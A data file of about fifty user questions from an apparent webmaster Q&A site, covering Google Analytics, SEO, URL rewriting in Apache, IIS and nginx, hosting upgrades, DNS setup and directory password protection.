{"id":"51462","title":"Authorship-verified website not included in \"Author Stats\" of Google Webmaster Tools?","text":"In Google Webmaster Tools, is it normal for a website for which the Structured Data Testing Tool shows that \"Authorship is working for this webpage\" -- to **_not_** be listed in the \"Author Stats\" section (under \"Labs\")? I already understand that successful verification using the Structured Data Testing Tool does _not_ guarantee that Google will actually display authorship in the SERPs, and that Google decides this at its own discretion. However, shouldn't such successful verification at least guarantee that the website _is_ included in the \"Author Stats\" section (which purportedly covers \"pages for which you are the verified author\")? I would have assumed that, if Google is not yet displaying authorship for that site, it would show both its Impressions and Clicks as being \"<10\". Are my assumptions incorrect?"}
{"id":"23629","title":"When to upgrade your web-hosting? Advantages of VPS?","text":"Right now I'm using shared hosting from ixwebhosting. As I've developed more websites for clients and continue to receive more visitors each month I have experienced a lot of \"lag\" and slow load times from the server. Most of the time I'm using wordpress and jquery so basically I'm running linux, php, mysql and all the basics. I know wordpress can be resource intensive so i'm looking to upgrade. How do I know what specs I'll need? Are there any good benchmarking tools? Basically I just need some suggestions on how to move forward with upgrading my host to something that is able to handle 5-10 website with 5k-10k visitors a month."}
{"id":"23625","title":"Firefox plugin to learn about technologies used by other web sites","text":"Is there a FireFox plugin that tells you what web server (httpd, Tomcat, IIS), platforms (Drupal, WordPress, Rails, PHP, .NET, Java) and client-side (JavaScript, HTML5, Flex) technologies a particular web site uses?"}
{"id":"23190","title":"How to pass GET parameters to rewritten URL?","text":"I have an `.htaccess` rewrite rule like this: RewriteCond %{SCRIPT_FILENME} !-d RewriteCond %{SCRIPT_FILENAME} !-f RewriteRule ^search\/(.*)$ search.php?q=$1 What this does is, if someone visits `http:\/\/www.mysite.com\/search\/test` the URI that is really processed is `http:\/\/www.mysite.com\/search.php?q=test`. Now, if I try to pass an extra random GET parameter to my rewritten URL, the parameter is ignored. So if I try to do visit here: `http:\/\/www.mysite.com\/search\/whatever?extra=true` The parameter `extra` is ignored. It doesn't seem to get passed at all. Can this problem be fixed? If so, how?"}
{"id":"23620","title":"Magento - Add to cart error","text":"I have set-up a Magento cart system and got everything working the way i want, but somehow in the process this error has came up. > The address total model should be extended from > Mage_Sales_Model_Quote_Address_Total_Abstract. This error only comes up when i try to add things to my cart. Has anyone else encountered this error or know how to fix it?"}
{"id":"6544","title":"International Domain Names - Can I just register the punycode with any registrar?","text":"I'm thinking of getting a non-ASCII Internationalized Domain Name (e.g. `thé.com`). However my current domain registrar doesn't do IDNs. Their web form reports an invalid domain name when I try to enter it, and they claim they don't support it. Could I just register the puny code (in this case `xn-- th-cja.com`) with the registrar? Or do I need to go to a special IDN 'aware' domain registrar?"}
{"id":"6543","title":"is there any way to tag more than 50 people in facebook photo?","text":"i stuck in problem. my friend tag his wedding invitation to friends.... he have a lot of friends...now there bcome disput in friends that y they r not tagged?? so Please tell me is there any way to tag more than 50 Persons on a photo.. Please responde?? do have to mail to facebook for this...."}
{"id":"6542","title":"Self-hosted collaborative document editor","text":"I'm looking for something like Google Documents, but that our company can host ourselves (for security\/confidentiality reasons). I'd like something where multiple users can edit a word-processing-like document from the web. Ideally it would be able to show the history of revisions, and maybe compare them. Wiki software doesn't really fit the bill, since the syntax is too complicated for some users. Does this exist?"}
{"id":"6541","title":"Help! My articles are not indexed correctly by search engines","text":"**Something is seriously wrong after I updated my site with new templates, moved to a new server and started writing on English rather than Norwegian.** * * * I know from Google Analytics, that most of my readers comes from Google. I do a quick test by googling (google.no) `Oslo Fashion Fair 2009`. This is the name of the article and is the title of my page. ( http:\/\/www.google.no\/search?hl=no&q=Oslo+Fashion+Fair+2009&aq=f&aqi=&aql=&oq=&gs_rfai= ) The page that I trying to find is this: http:\/\/www.norwegianfashion.no\/news\/oslo-fashion-fair-2009\/ This used to be one of the first pages in Google. Now you don't see my site until Page 4, and that is a link to something completely different. On page 4 in the google search, you see this: > Designere - Norwegian Fashion > Norske designere Når man tenker fashion,tenker de fleste på designere som > Yves Saint ... > Fashion Week Guide 16-22 august 2010 · Oslo Fashion Fair 2009 ... > www.norwegianfashion.no\/blog\/designere There are a few problems with this: 1. The headline says `Designere - Norwegian Fashion`. I no longer have a page called `Designere`. It's now called Designers. 2. The link points to `www.norwegianfashion.no\/blog\/designere`. But I've never had that a URL with that name. The page does not exist. 3. When you click the link, a completely different page opens. I also noticed that I ahve lost Page Rank. My Page-RAnk add-on in Firefox will no longer rate my site, and Googles own Page Rank checker can't check my site for page ranking. **So what kind of SEO have I done?** 1. I've put the `<title>` tag at the top, followed by the meta tags `<description>` and `Keywords` 2. For new pages, I use my intro texst in the description field. 3. I've made sure to use appropriate H1 - H3 tags 4. I've got relative content in headline vs intro and main body text, as well as appropriate keywords. 5. I've added my site to Google 6. I've used Google Webmaster Tools to optimize my site 7. I've added a sitemap.xml I don't know why I'm suddenly not being indexed by any search engines. What have I done wrong? **UPDATE** Using Google Webmaster tool, I can see issues Google encountered when crawling my site. Thre are a lot of `404 Page not found` errors. **Example of 404 errors:** http:\/\/www.norwegianfashion.no\/2009\/nyhetsarkiv `nyhetsarkiv` is now called `news` http:\/\/www.norwegianfashion.no\/author\/marianne I have deleted marianne ase user in Wordpress. This author do not exists any more http:\/\/www.norwegianfashion.no\/category\/fashion-report\/page\/40\/ Not sure what this is. I'v enever used this permalink structure."}
{"id":"27757","title":"How to prevent Google from finding my admin index page?","text":"I am running a website but for some days i stopped it and put the under- construction page because the Index of admin page is visible to the outside world through the Google search. One of my friend told me that your websites index is visible and its one step away to access the password file and he shows me that very simply using the Google search. How can i prevent this and i am hosting my site with a hosting company and i report about this to them but they simply replied to me still its secure so you no need to worry... am i really don need to worry and continue my site with the visible index of admin page?"}
{"id":"61779","title":"the right way of specifying website files in html","text":"i specify my website's internal files like this for my website: www.mscaspian.com ` but when i validate it with w3c it says there is an error in the last part, '>' . i don't understand why this is wrong. is there anything i'm missing? it says: > Bad value ..\/Nexus components\/css\/component.css for attribute href on > element link: Illegal character in path segment: not a URL code point.Syntax > of IRI reference: Any URL. For example: \/hello, #canvas, or > http:\/\/example.org\/. Characters should be represented in NFC and spaces > should be escaped as %20. i read the NFC link they provided but Really couldn't figure out what's wrong with it! Using HTML5 and CSS3"}
{"id":"27753","title":"Confusion over W3C POWDER standard (PICS alternative)","text":"Now that PICS is dead, I still need an easy way to tell users that my website is for mature audiences only. I intend to use PICS tags, but POWDER is said to be the new standard. Is it really used? And how do I set it up? Are there simple example XML files which I can copy for my own use?"}
{"id":"68571","title":"Measuring user time until a specific event","text":"Now I know that GA Engagement gives you an estimate of the time users spend on you page, but it's not very accurate and the max time it displays is 30 mins. I'm developing a small online game and would like to know how long people play and also what is very important how long they play until they reach a specific goal (it might take a week or so) My Idea was to use Events and Goals - but I didn't find any possibility to measure and display time until a goal is reached and time user spends daily until he reaches the goal. Is there a way?"}
{"id":"65807","title":"Tracking rotating Ads with Google Tag Manager","text":"So at the moment we have our ads setup using event tracking in Google Analytic (Universal) and they are implemented in this format: <a href=\"example.com\" onclick=\"ga('send', 'event', 'Banner Ad - Top', 'Click','Ad Title - (588x88)',1.00, {'nonInteraction': 1});\"target=\"_blank\"><img src=\"example.com\/ads\/ad_588x88.jpg\" alt=\"\"><\/a> I would like to track these ads by position if possible because we have ads from same vendors displayed in multiple positions. I am trying to wrap my brain around how I can implement something like this in Google Tag Manager. I assume this will involve some advanced rules with RegEx? Is it something that can be passed through the dataLayer?"}
{"id":"25932","title":"Traffic from a specific site considered as direct traffic","text":"Let's say a site adds a link to my site. After that, I noticed an increase in visits to my site (and I'm sure that at least some people came to my site via this link). The problem is, when I look at my google analytics stats, I can't find the site in the traffic sources (referrals). Any ideas on why? I don't think the website in question is messing with the HTTP_REFERER."}
{"id":"23992","title":"Wordpress.Com blog XML\/Site map download","text":"Hi I happened to know that we can access the sitemap for a WordPress (WordPress.com) blog using a URL. I am quite not sure about that now, though I downloaded the XML once, I forgot the URl. Please tell me how can I download it!"}
{"id":"63239","title":"Website hosting and deployment","text":"I'm relatively new to Web Development especially when it comes to infrastructure. I have AngularJS application build and served by brunch.io locally. It uses rails-api JSON data. I'd like to deploy my angular application separately from rails server. For now, JS app is placde inside public directory of backend server and deployed together. It isn't elegant nor effective so I want to use some other hosting service. I was thinking about VPS where I could place both Angular and Ruby applications. I read about NodeJS or Nginx that can serve static files, but I don't have any knowledge or experience with these technologies. How is the best way to provide separate frontend and backend applications communicating with each other?"}
{"id":"23999","title":"How do you create a mobile app that basically allows you to....?","text":"I was wondering what the simplest and cheapest way to create a reliable mobile app (android or iphone) would be for the following situations. We are about to pick one of the following two situations: 1. If I want the mobile app to mainly contain links or buttons that direct you to specific webpages. 2. If I want the mobile app to contain an expert system, where each link is basically a question that will load you an alternate set of text depending on which link or button you chose. Are either of these simple to make and free of cost to develop? We're looking for the most simple and direct way to go about this. The final goal is to be able to make this app available in the android market or apple store (for a small, one-time fee for users who want to use it). Is this a step that can be planned out _after_ the creation of the app itself, or does this need to be taken into account from the start?"}
{"id":"27284","title":"Differences in Gmail on BlackBerry to iPhone?","text":"I've been using Gmail on my iPhone happily for a while. Now for a friend I need to set up Gmail on a BlackBerry. From reading up it seems you have to enable IMAP for the Gmail account. I thought that POP downloads emails from the server where as IMAP does not. I'm confused as on my iPhone, when I read an email it's marked as read on the server (which I see when I use webmail or Mac mail to look at the same email account). However I never turned on IMAP for my account. I went through my iPhone's default email set up, so is it in fact using POP? If so, what are the behavioural differences that my friend using IMAP on BlackBerry will experience compared to my iPhone set up, which seems nice and intuitive."}
{"id":"27280","title":"Static page generator quazi CMS","text":"Are there some mainstream software packages that generate static pages? Sort of like CMS, but without all the fluffy parts. I'm perfectly fine with editing pages using a text editor, but I would like to edit something more user friendly than HTML (markup, wiki text, etc...). I'm just redoing my personal website, and the layers of layers of Drupal modules I need to install is just getting crazy."}
{"id":"27281","title":"Will adding \"www.\" to my domain setting in Google Analytics impact already collected data?","text":"I have a profile in Google Analytics (GA) that has been collecting data for a year. The domain setting in GA is \"http:\/\/example.com\". The site, however, will redirect any non-www request, to www.example.com, via a typical .htaccess refinement. The source problem I'm trying to fix is that In-Page analytics does not load. When accessing In-Page analytics in the new GA, I get the following error: > We've identified problems in your setup. These may cause problems loading > In-Page Analytics. Your site doesn't load ga.js from Google. If you host the > Google tracking code on your own servers, it isn't updated automatically and > can miss important changes. We didn't find a tracking snippet on your site. > In-Page Analytics cannot load. Please make sure you have tracking installed > correctly. If your snippet is included in a separate JavaScript file, you'll > have to manually check it is being loaded correctly. When loading In-Page Analytics in full screen mode -- visting the domain directly -- I get: > Access denied. Please try relaunching In-Page Analytics from the report. After researching the issue online, I've found the following proposed fixes: 1. Log out of the target site when using GA, in the case your site doesn't load the tracking codes for logged in users (our current Drupal configuration indeed does this) 2. Clearing cache 3. Clearing cookies - specifically the GASO cookie 4. Ensuring your GA domain setting uses www if your site redirects to www forcefully I've tried items 1-3 and the have not addressed the issue. I would like to try #4, but want to make sure this change won't impact data I've already collected and that GA will consider all data collected before and after the change as the same site."}
{"id":"27288","title":"Any free service like Google Apps?","text":"Google Apps offers a good opportunity to host emails externally. Definitely, Google should not be alone in this market, but I've not heard of any other alternative. Is there any other company offering free email hosting?"}
{"id":"51647","title":"How do I get rid of unwanted gaps in a horizontal navigation bar?","text":"That was my question, in the form of a question. Fortunately, I've already whipped up some code and can only point you to errors in the html.. although I don't know what they are. Here's what I've got: http:\/\/cssdesk.com\/uDaLg When the extra navigation links (which would normally be characterized by line breaks) are laid out in my navigation bar, my html puts a gap in the padding on the right side. I have highlighted the background in case you're overly skeptical that it is in fact my css. Of course, you can also go and view the css for yourself."}
{"id":"33316","title":"Fake PR of a website","text":"I just saw a website, its PR 10. Now this is impossible as the websites quality is nowhere near PR 10. I know that one can change to PR to show 10 if he redirects the site but in this case, its not getting redirected anywhere. I am pretty sure something is wrong with it. Please help me out. The domain is `www.virginia11.info`"}
{"id":"54635","title":"In creating a rich snippet (breadcrumbs and sitelinks), is there a need to markup content in more than one markup language?","text":"I started tagging all of my data with their appropriate schema.org vocabulary. I'd like my site to display a rich snippet\/enhanced listing in Google. Is there ever a case where you would need to include code from more than one markup language (schema, RDFa, Microformats)"}
{"id":"346","title":"Anywhere to get a list of referrer spammers?","text":"I do my own log processing using my own self-written analyzer. That means I have to deal with the continual nuisance of referrer spammers. Is there anywhere I can get an up-to-date list of referrer spammers?"}
{"id":"14924","title":"Does Google Analytics have a way to compare two timeframes?","text":"Our site recently took a huge traffic hit that we can't attribute to anything. Is there a way to ask Google Analytics to compare traffic patterns and show any statistical changes between two timeframes? (Or 3rd party software)"}
{"id":"341","title":"What's the quickest\/cheapest way to get URL rewriting implemented?","text":"Related to another question - if you need to get URL rewriting implemented ASAP, what are some methods that you've used or know of that can speed this up?"}
{"id":"39105","title":"RSS feed : wrong encoding?","text":"I just migrated my website to a brand new server, and now i'm having a weird issue. Some characters on my RSS feed are not properly encoded, as you can see here : http:\/\/www.windowsphonefr.com\/mise-a-jour-de-facebook-sur-windows-phone-8-des- performances-au-top\/20392\/feed The characters affected are <, >, ', and \". Accented (á, é, ê, à, è, ...) are correctly displayed. How can I fix this ?"}
{"id":"39100","title":"What is the most secure environment for multiple CMS sites?","text":"I wish to run about 50 Joomla or WordPress low-traffic websites on 1 server, or part of a server. Each website will be managed by its own, naive owner who will have be able to access the Joomla or Wordpress backend of the website. I am concerned about security and isolation as my users will periodically get into trouble by not protecting their sites properly. Two alternatives I know of exist: Run one Linux system with multiple websites under Apache. Follow current Joomla and WordPress security tips. Increase the isolation of the individual sites by using mpm-itk, which will allow each website to run as its own user. The alternative to this is to run virtualization software such as the Xen hypervisor. Each site would have its own, virtual Linux system. I lack the experience needed to make this decision and I am asking which path to take. Obviously, there may be other alternatives that I haven't considered."}
{"id":"7519","title":"1 click backup for my websites","text":"I have a windows reseller account that I only really use for personal use. The host company doesn't currently offer a 1 click backup. I am looking for something to automate some kind of backup that does the following: * Backups all files * Backups all databases I know other companies offering such a tool but I am not looking. I have thought about writing a tool that does this but thought there might be something out there that does this already?"}
{"id":"7518","title":"Has anyone been able to convert a site's media content from flash to html5?","text":"I'm looking to convert a site from Flash based video to HTML5, the current video uses time marks to display slides (kind of like how youtube has ads on their videos). But the difference between Youtube and my site is that it doesn't show up inside the video, the slides are displayed next to the video. Is there any way I can accomplish this with HTML5? Or do I have to use Javascript for this? _If this isn't clear enough, please let me know._"}
{"id":"16670","title":"Site-wide redirect with Tomcat4","text":"Disclaimer: My webmastering experience is almost nil. Apologies if anything seems ignorant - if it sounds that way, it probably is. My employer is in the middle of switching over from one version of their website to another, and for the time being would like for the old site to redirect to the new one, but have the pages of the old site preserved as a backup of sorts. After some Google searches, I found that an easy way to perform a site-wide redirect is by adding the following line to a .htaccess file: Redirect 301 \/ http:\/\/www.website.com Prior to this task being given to me, the site did not have a .htaccess file, so I created one and it contains _only_ that line. Once that file was saved, attempts to load the old site's URL yielded 500 Internal Server Error. I am certain that I'm missing something which might be obvious to an experienced webmaster. What more do I need to do to make this redirect hold?"}
{"id":"16673","title":"How can I let users pay other users on my website?","text":"I'm looking for a way to let users on my website pay other users on my website for goods or services and for me to take a percentage of the transaction as well as store the transaction data in database. Is there currently a service out there that will let me do this? Is Paypal capable of this? I know I can receive payments from users and send payments to users, but I want a way to directly let users pay others directly or even pay me directly and then me automatically pay the user who should be receiving the money once the payment clears. This will be a US only website for now and I'm using PHP and MySql if that makes a difference."}
{"id":"32300","title":"Does description change impact the google ranking and\/or crawl rates?","text":"I am thinking about adding some randomization to my shopping cart descriptions and pricing. I am not talking about meta-description, but about actual product descriptions. Would content change improve any of my stats with google? I am especially interested in crawl rates."}
{"id":"19378","title":"Google Analytics banner?","text":"I use Google Analytics on my site... But, I would like to display some traffic info to the users, like geo localization or just a hit-counter on the main page of my site. Does Google offer something like this?"}
{"id":"6150","title":"Sex - in domain name is this bad?","text":"In short I am working with a company that does trade shows... one of their new domain names has the word 'sex' in but completely innocently. EXAMPLE: www. someproductsexpo .com (Being 'some' 'products' 'expo'). The content is completely inoffensive and I do not see there being any other things that would flag either the web or any emails sent from anyone@someproductsexpo.com as inappropriate. I was just wondering if any has experiences of any domains like this or comments to add? Thanks"}
{"id":"61195","title":"Where can\/should I submit my sitemap.xml?","text":"I know of Google and Bing, but are there other places I can\/should submit my sitemap.xml? And do they support pinging?"}
{"id":"42450","title":"How do I password protect a directory with a customizable login page?","text":"At the moment, I have a directory that's password protected by .htaccess and .htpasswd. The problem with this is that when a visitor comes to my site, they get an ugly inbuilt Secure Area message rather than going through a friendlier-looking login page. The only other way I know to password protect online is using PHP files that redirect if the user doesn't have a login cookie, but the problem with this is that although it protects pages of the site, it doesn't protect other site content (such as image and PDF files). How can I make sure that all files within a directory are protected by a login while still presenting that login in a user-friendly way?"}
{"id":"42452","title":"CGI program can't access external sites through a proxy","text":"We have a local \"server\" machine (Web, Samba, LTSP, DHCP.. etc) 192.168.0.11 running Mandriva \/ Apache2 which connects to internet using another machine as a proxy (Vista 192.168.0.2:6588). Browsers, wget, mcc on 0.11 are able to connect to the net without any problems. However, CGI programs running on this machine are not able to fetch data from external sites. The same programs work correctly when run under Apache on 0.2 machine. Have tried: <IfModule mod_proxy.c> <Proxy *> Order deny,allow Allow from all <\/Proxy> ProxyRemote * http:\/\/192.168.0.2:6588 NoProxy 192.168.0.1\/254 <\/IfModule> in the httpd config file. The proxy module has been enabled. Is this the correct line of thinking? How to verify that the proxy settings are working? Any other config files need to be checked? Thanks!"}
{"id":"38298","title":"Creating a Template Like System in cPanel","text":"I am creating a medium sized website using cPanel and their File Manager system and the majority of my pages are going to be the same with a different title and content section and I wanted to see if there is a system for making one general template file and then having all the other pages inherit from that file so all I have to do is have a content and title section and the rest of the links, headers, and whatnot can be changed throughout the site by just changing one file. Is there anything like this? I have used Jinaj2 in python and a few other systems for other server scripting languages but I am not sure how to implement it with cPanel."}
{"id":"10960","title":"Page loading problem. Page is very slow","text":"Regarding the domain http:\/\/www.pravninasvet.com, there is a problem where it sometimes loads fast, sometimes very slow. The domain is registered by godaddy, the server is in Germany. But when the page loads very slow, the is ping normal: Pinging pravninasvet.com [91.194.91.202] with 32 bytes of data: Reply from 91.194.91.202: bytes=32 time=52ms TTL=55 Reply from 91.194.91.202: bytes=32 time=50ms TTL=55 Reply from 91.194.91.202: bytes=32 time=52ms TTL=55 Reply from 91.194.91.202: bytes=32 time=51ms TTL=55 Ping statistics for 91.194.91.202: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 50ms, Maximum = 52ms, Average = 51ms Can this be a problem with the server being in Germany and domain registered at godaddy? Or what else can be the problem?"}
{"id":"45505","title":"Registering multiple domains vs. subdomains","text":"We are currently planning on registering multiple domains for different parts of the website we own. For example consider that we have `example.com` as the main domain and have assigned all the sub-departments their own subdomain. There will be `tutorials.example.com`, `videos.example.com`, `articles.example.com`, etc. Now for marketing reasons we plan to register `examplevids.com`, `exampletuts.com`, etc. The catch here is all these domains should somehow point to their respective subdomains. We can either use a permanent redirect or have and iframe to display the content directly from the subdomains. Now I wonder which approach is better considering SEO rules. Will using iframes be considered replicating content by search engines? Or is it at all wise to have different domains? Thank you."}
{"id":"51984","title":"IIS 7 URL Rewrite Rule using query string variable","text":"Trying to create a URL Rewrite rule for IIS 7.5 to read the query string parameter and redirect requests to a new URL structure - for example: `http:\/\/www.example.com\/people\/profile.aspx?dw` to a new more SEO friendly URL at: `http:\/\/www.example.com\/our-people\/profiles\/dw` Any good examples or guidance?"}
{"id":"34712","title":"SIMPLEST way to set up password protection for a static site, with basic admin UI?","text":"I have a static site. I would like the simplest approach to password protecting a directory, with a basic admin UI for adding\/removing users. I will have so few users that I don't care about performance. I don't care if it's PHP or Django or whatever, I just want a complete software package. * Apache basic auth isn't good, because you can't log out. Nor is there a UI for adding users. * I tried throwing everything behind Django auth and serving the files through Django. However, Chrome treats all my text\/css headers as text\/plain, so I don't get any stylesheets showing. * I can't use mod_xsendfile on my server because I can't reconfigure Apache to add new modules. I think this approach is overkill anyway. * I can try configuring Nginx's X-Accel-Redirect, however that requires implementing all the Django code for auth myself, and I'd prefer an existing solution. However, this is my backup plan. Is there a code package that implements authentication with basic admin for a static site?"}
{"id":"54638","title":"What is required to create local business rich-snippets complete with sitelinks AND breadcrumbs?","text":"I have a local business directory site. I would like to markup my business listing 'profile' level pages for display as enhanced listings\/rich-snippets complete with business names, addresses and phone numbers. I would also like to display site-links and path-based breadcrumbs to help users navigate site directory hierarchy (which is deep). Is there a limit to the amount of breadcrumbs a site can leave? Is there a separate limit on the number of breadcrumbs which Google\/Bing will display in the SERP? What kind of markup language(s) would be needed to best position my site to show site-links AND breadcrumbs? For example: > Find a business > Browse by Location > State > City > Zip > or > Find a business > Choose Service > Browse by location > State > City"}
{"id":"25669","title":"nginx proxy rewrite not matching","text":"I'm setting Nginx to forward requests to several backend services using proxy_pass A few of them I have to add rewrite rules to strip the folder off, however for this particular service, the rewrite rule isn't working on styles\/images. Any tips? ~$ tail \/var\/log\/nginx\/error.log 2012\/02\/09 10:57:19 [error] 4103#0: *10 open() \"\/var\/www\/images\/blank.gif\" failed (2: No such file or directory), client: 203.xxx.xxx.xxx, server: example.net, request: \"GET \/images\/blank.gif HTTP\/1.1\", host: \"example.net\", referrer: \"https:\/\/example.net\/hp\/\" ~$ cat \/etc\/nginx\/proxy-control.conf; proxy_connect_timeout 59s; proxy_send_timeout 600; proxy_read_timeout 600; proxy_buffer_size 64k; proxy_buffers 16 32k; proxy_pass_header Set-Cookie; proxy_hide_header Vary; proxy_busy_buffers_size 64k; proxy_temp_file_write_size 64k; proxy_set_header Accept-Encoding ''; proxy_ignore_headers Cache-Control Expires; proxy_set_header Referer $http_referer; proxy_set_header Host $host; proxy_set_header Cookie $http_cookie; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Server $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Ssl on; proxy_set_header Authorization ''; proxy_redirect http:\/\/example.net\/ \/; proxy_redirect https:\/\/example.net\/ \/; ~$ tail \/etc\/nginx\/services.conf; location \/hp { rewrite ^\/hp$ https:\/\/example.net\/hp\/ permanent; $ rewrite \/hp\/(.*) \/$1 break; proxy_pass http:\/\/192.168.1.2\/; include proxy-control.conf; include auth-basic.conf; } chrome errors; https:\/\/example.net\/images\/blank.gif Failed to load resource: the server responded with a status of 404 (Not Found) https:\/\/example.net\/images\/final-hp-login_1x11.gif Failed to load resource: the server responded with a status of 404 (Not Found)"}
{"id":"64707","title":"Ranking drop after using reverse proxy for blog subdirectory and robots.txt for old blog subdomain","text":"We have a 3Dcart store and a WordPress blog hosted on a separate server. Originally, we had a CNAME set up to point the blog to http:\/\/blog.example.com\/. However, in our attempt to boost link-based and traffic-based authority on the main site, we've opted to do a reverse proxy to http:\/\/www.example.com\/blog\/. It’s been about two months since we finished the reverse proxy migration. It appears that everything is technically working as intended, including some robots and sitemap changes; the new URLs are even generating some traffic, as indicated on Google Analytics. While Google has been indexing the new URL locations, they’re ranking very poorly, even for non-competitive, long-tail keywords. Meanwhile, the old subdomain URLs are still ranking mostly as well as they used to (even though they aren’t showing meta titles and descriptions due to being blocked by robots.txt). Our working theory is that Google has an old index of the subdomain URLs, and is considering the new URLs to be duplicate content, since it’s being told not to crawl the subdomain and therefore can’t see the rel canonicals we have in place. To resolve this, we’ve updated the subdomain’s robot.txt to no longer block crawling and indexing. Theoretically, seeing the canonical tag on the subdomain pages will resolve any perceived duplicate content issues. In the meantime, we were wondering if anyone would have any other ideas. We are very concerned that we’ll be losing valuable traffic, as we’re entering our on season at the moment."}
{"id":"21100","title":"Verify 2 cookies with mod_rewrite before serving images","text":"I have the following mod_rewrite rule, which works fine in my Apache 2.x on CentOS 6 Linux machine, but is not complete: RewriteCond %{HTTP_COOKIE} !id RewriteCond %{REQUEST_URI} ^\/sites\/default\/files\/pictures\/picture- RewriteRule .* \/images\/dummy.png [L] because I'm trying to change it in 2 ways: 1) Actually 2 cookies (and not just 1 as above) should be present: **id** and **auth** (but I don't know, how to do **(X or Y) and Z** with mod_rewrite) 2) I'd like to verify that the value of the **auth** cookie is a 32 hex chars string (an MD5 hash) and that the value of **id** cookie is numeric. _The background is that I've gotten a bill for EUR 1000,- fromGetty Images, because one of the Drupal users on my server has supposedly used their picture as avatar. I'm not looking for any lawyer or pseudo-lawyer advices here, just for the way to display a dummy image instead of real user pictures to web crawlers._ And yes, I've noticed in the mod_rewrite doc, that I could pass the cookie values to an external script through mod_rewrite (for verifying the MD5 hash), but I'd like to tackle this later. **UPDATE 2:** I've come up with the following RewriteCond %{REQUEST_URI} ^\/sites\/default\/files\/pictures\/picture- RewriteCond %{HTTP_COOKIE} !auth=[a-fA-F0-9]{32} [OR] RewriteCond %{HTTP_COOKIE} !id=[0-9]+ RewriteRule .* \/images\/dummy.png [L] but I'm not sure, if the above RewriteCond's act as **X and (Y or Z)** or **(X and Y) or Z**"}
{"id":"21106","title":"What latency do you expect when serving static files?","text":"I'm running some latency measurements using Web Page Speed Test on a static javascript file. I compared hosting the file at four locations: Host Monster, Amazon S3, Amazon Cloudfront, and Heroku Static Sites. The results I'm getting are around 240ms-390ms, the worst being Host Monster. The tests were run from the default Web Page Speed Test data center at Dulles, VA, USA. The S3 zone I used was \"US standard\". My question is - isn't 240ms+ latency a bit too much for just serving a javascript file (33kb minified before gzip - Host Monster and Heroku have out- of-the-box gzip, it's a bit less seamless for Amazon Web Services do not so I didn't enable it for this test). What top latency should I expect when serving a static 30kb file from the US to the US? How can we to the sub 100ms latency zone? **Edit** Here is a sample latency breakdown from Web Page Speed Test on Amazon CloudFront: DNS Lookup: 49 ms Initial Connection: 59 ms Time to First Byte: 123 ms Content Download: 28 ms"}
{"id":"16495","title":"Apache, www-data and custom user permission","text":"I'm running an ubuntu server with apache and I have web directory which is owned by the user www-data and the group www-data. WordPress works great in this directory. It can auto update and I can upload files. I want to also create a web directory which is owned by another custom user I'm going to add. However when I change the owner on the web directory from www-data to the customer user WordPress is no longer to auto update and I can not upload unless I change the group permission. Is there a way to make my custom user act like the apache www-data user?"}
{"id":"16497","title":"What are the most common SEO issues with Sharepoint?","text":"As far as I know **Microsoft SharePoint** does not provide many \"out of the box\" essential features to enable good performance in the search engines. Here are the main issues I found: 1. Little control over the length and structure of the URL. 2. Default redirections 302 (temporary) redirects instead of 301 (permanent). 3. The standard version of SharePoint 2007 creates pages with URLs like this: `\/Pages\/Thisisatestpageinsharepoint2007.aspx`. This URL structure has poor usability. A better URL would look like: `\/test-page-sharepoint-2007.aspx`. 4. By default SharePoint will create the URL based on the title page. This can be a problem from a SEO perspective becasue the content of a page could always change but the structure of URLs should always be persistent. 5. SharePoint does not support the automated creation and updating of XML Sitemap 6. You can not add custom meta tags such as `<meta name=\"robots\" content=\"noindex\">` to control searche engines robots. To overcome some of these problems you can install and configure specialized plugins or extensions. Other problems may require a more complex customization of the application code. Do you know if the current version of SharePoint still have those issue and if there are other SEO issues I should aware of?"}
{"id":"59917","title":"Hashbang, pjax, or djax for dynamic pages in WordPress?","text":"I am modifying a current WP theme that uses child pages loaded into tabs via jQuery and hashtags. For example, `http:\/\/example.com\/category` would be the parent page with tabs. Clicking on one of those tabs loads the child page, which WordPress knows as `http:\/\/example.com\/category\/tab1`, into the div dynamically, and changes the URL to `http:\/\/example.com\/category\/#tab1`. What I'm trying to do is make the pages crawlable by Google, so that our tabs show up in search results as individual pages. Google's own documentation seems to recommend using the \"hashbang\" method (https:\/\/developers.google.com\/webmasters\/ajax-crawling\/docs\/getting-started), and then serving up HTML snapshots of each tab. But other developers I've read strongly recommend not using this method, and instead using pjax to dynamically load the content while making the URLs appear to be separate pages, so the SE will crawl it anyway. further research showed that djax is a slimmed down version of pjax, written specifically for WordPress. I'm a little out of my depth here in trying to figure out which path I should go down, and how to convert the theme I'm working on to one of these methods. So, my question is: Should I go with Google's recommendation of the hashbang method, or pjax, or djax? Why? Whichever one I should start developing with, can anyone provide me with a way to get started learning how to use it and implement it? Most of the documentation I've found is way out of my depth."}
{"id":"22713","title":"Google Analytics w3wp.exe?","text":"In this link Google defines a Visit. The key part that interests me now, is this: \"If a user is inactive on your site for 30 minutes or more, any future activity will be attributed to a new session.\" Would an idle user (e.g. an employee whose PC is left on over the weekend) record \"activity\" as a result of the w3wp.exe process recycling? Our site caching model refreshes every 30 minutes. Could this trigger \"activity\" for an idle user? I've asked this on the Google Analytics forum a week ago and no response."}
{"id":"35620","title":"Alternative to Google Analytics with A\/B testing and PDF scheduling","text":"Is there a hosted solution that competes with Google Analytics and has some of the heavy hitting features: * A\/B testing with regression analysis * Conversion tracking * Funnels * Schedulable reports that email PDF files"}
{"id":"26151","title":"Attemping to setup Domain NameServers but it doesn't appear to work","text":"I'm having a little trouble setting up my domain redirect. The domain name is registered with Namesco and the hosting is on Wiserhosting. Wiserhosting has provided me nameservers of * Nameserver 1: ns1.wiserhosting.co.uk * Nameserver 2: ns2.wiserhosting.co.uk I configured these into the DNS settings page on Namesco for this domain as `hostname: www, type:CNAME, result:ns1.wiserhosting.co.uk`. but when I go to the URL I get redirected to `\/cgi-sys\/defaultwebpage.cgi` page which simply shows `mu.wiserhosting.co.uk`. I am finding it weird that I have two Nameservers but am only able to configure one. I get a duplication error if I add the ns2 with another www host. Wiser also provided an IP address of 78.129.233.118 and I've added that as an A record. but still makes no difference. I'm unsure what I'm doing wrong here, and who should I call? Is the redirect not configured correctly, or is it configured but not working when it gets there?"}
